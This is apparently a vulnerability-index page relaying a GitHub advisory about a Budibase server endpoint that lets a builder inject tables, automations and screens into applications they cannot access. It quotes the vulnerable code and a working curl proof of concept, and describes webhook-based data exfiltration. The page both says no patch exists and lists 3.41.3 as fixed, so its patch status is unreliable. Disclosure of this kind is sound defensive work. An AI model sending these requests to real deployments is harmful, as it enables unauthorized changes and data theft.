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Advisory · GitHub · npm · @budibase/server

GHSA-XQPQ-288M-R5Q7

Cross-application resource injection via missing authorization on duplicate endpoint

Sin parche publicado
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CVSS 3.1
7.7
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición97 dDesde la divulgación, 14 ago 2026, 3:57 a. m.
Detección96 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
14 ago 26
18 nov 26
19 nov 26
14 ago 26
7 sept 26
1 oct 26
26 oct 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XQPQ-288M-R5Q7 divulgada · CVSS 7.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The `POST /api/resources/duplicate` endpoint allows an authenticated application builder to inject tables, automations, queries, and screens from their own application into any other Budibase application — without holding any role in the destination app. The destination workspace ID is taken directly from the request body and no authorization check is performed against it.

Details

The endpoint is defined in `packages/server/src/api/routes/resource.ts`:

builderRoutes.post(
  "/api/resources/duplicate",
  duplicateRequestValidator,
  controller.duplicateResourceToWorkspace
)

The `builderRoutes` middleware validates that the caller is a builder of the *source* application (identified by the `x-budibase-app-id` request header). The controller forwards the request directly to the SDK:

// packages/server/src/api/controllers/resource.ts
export async function duplicateResourceToWorkspace(ctx) {
  const { toWorkspace, resources, copyRows } = ctx.request.body
  await sdk.resources.duplicateResourcesToWorkspace(resources, toWorkspace, { copyRows })
  ctx.status = 204
}

Inside `duplicateResourcesToWorkspace` (`packages/server/src/sdk/workspace/resources/index.ts`), the destination database is opened without any ownership or tenant validation:

async function getDestinationDb(toWorkspace: string) {
  const destinationDb = db.getDB(db.getDevWorkspaceID(toWorkspace), {
    skip_setup: true,
  })
  if (!(await destinationDb.exists())) {
    throw new HTTPError("Destination workspace does not exist", 400)
  }
  return destinationDb
}

The function then bulk-writes all selected resource documents (tables, automations, queries, screens, workspace apps, row actions) directly into the destination database with no check that:

  1. The caller holds builder (or any) rights on `toWorkspace`.
  2. `toWorkspace` belongs to the same tenant as the caller.

The only guard is that the destination workspace must already exist (HTTP 400 if not), which is trivially satisfied for any live application.

Destination workspace IDs are discoverable within the same tenant via `GET /api/applications` (a public endpoint that returns apps filtered to the current tenant context). In Budicloud multi-tenant deployments the tenant component of the workspace ID (`app_<tenantId>_<uuid>`) is present in shared invite links and publicly accessible app URLs, making cross-tenant injection feasible when the target workspace UUID is known.

PoC

Prerequisites: two applications exist in the same Budibase instance — `APP_A` (attacker has builder access) and `APP_B` (attacker has no access). The attacker's app-builder session token is used.

# 1. Create a table in App A
curl -s -b "$SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_A_DEV_ID" \
  -X POST "http://BUDIBASE_HOST/api/tables" \
  -d '{"name":"InjectedTable","schema":{"data":{"type":"string","name":"data","visible":true}},"sourceId":"bb_internal","sourceType":"internal"}'
# → 200: {"_id":"ta_XXXXXXX", "name":"InjectedTable", ...}

# 2. Confirm builder has NO access to App B (302 = unauthorized redirect)
curl -s -b "$SESSION_COOKIE" \
  -H "x-budibase-app-id: $APP_B_DEV_ID" \
  "http://BUDIBASE_HOST/api/tables" -w "\nHTTP %{http_code}"
# → HTTP 302

# 3. Inject the table into App B — succeeds with 204
curl -s -b "$SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_A_DEV_ID" \
  -X POST "http://BUDIBASE_HOST/api/resources/duplicate" \
  -d '{"resources":["ta_XXXXXXX"],"toWorkspace":"'"$APP_B_DEV_ID"'"}' \
  -w "\nHTTP %{http_code}"
# → HTTP 204

# 4. Verify: InjectedTable now appears in App B's table list (as admin)
curl -s -b "$ADMIN_SESSION" \
  -H "x-budibase-app-id: $APP_B_DEV_ID" \
  "http://BUDIBASE_HOST/api/tables" | python3 -c "import json,sys; [print(t['name']) for t in json.load(sys.stdin)]"
# → InjectedTable
# → Users

The same technique applies to automations and queries, which can embed arbitrary outgoing webhook calls (using the existing Outgoing Webhook automation step) that exfiltrate data from the victim application's tables when manually or automatically triggered.

Impact

Any authenticated Budibase user with builder access to *any* application can inject arbitrary resources (tables, automations, queries, screens) into *any other* application within the same Budibase instance without holding any rights on the destination application. By injecting an automation with an outgoing webhook step, an attacker can cause data from the victim application's tables to be exfiltrated when the automation is triggered. The attack does not require platform-administrator privileges and works against all self-hosted deployments with multiple applications as well as multi-tenant Budicloud instances.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
@budibase/server< 3.41.3
3.38.1
3.41.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@budibase/server
Sin parche — — 3.38.1 afectada
Versiones corregidas3.41.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Budibase/budibase/security/advisories/GHSA-xqpq-288m-r5q7

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.